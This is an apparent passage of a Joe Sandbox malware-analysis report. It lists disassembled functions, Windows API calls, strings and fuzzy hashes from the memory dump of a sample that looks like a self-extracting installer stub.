Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

;!@InstallEnd@!, xrefs: 00403EB3
:%hs, xrefs: 00403F21
;!@Install@!UTF-8!, xrefs: 00403EA4
:Language:%u, xrefs: 00403F4E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000298), ref: 00408BA6
ResumeThread.KERNEL32(00000298), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S/, xrefs: 004042D1
%%S\, xrefs: 00404293

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M/, xrefs: 0040438C
%%M\, xrefs: 0040434E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040852B
A, xrefs: 0040855F

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

uxtheme, xrefs: 00407DAD
SetWindowTheme, xrefs: 00407DBF

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
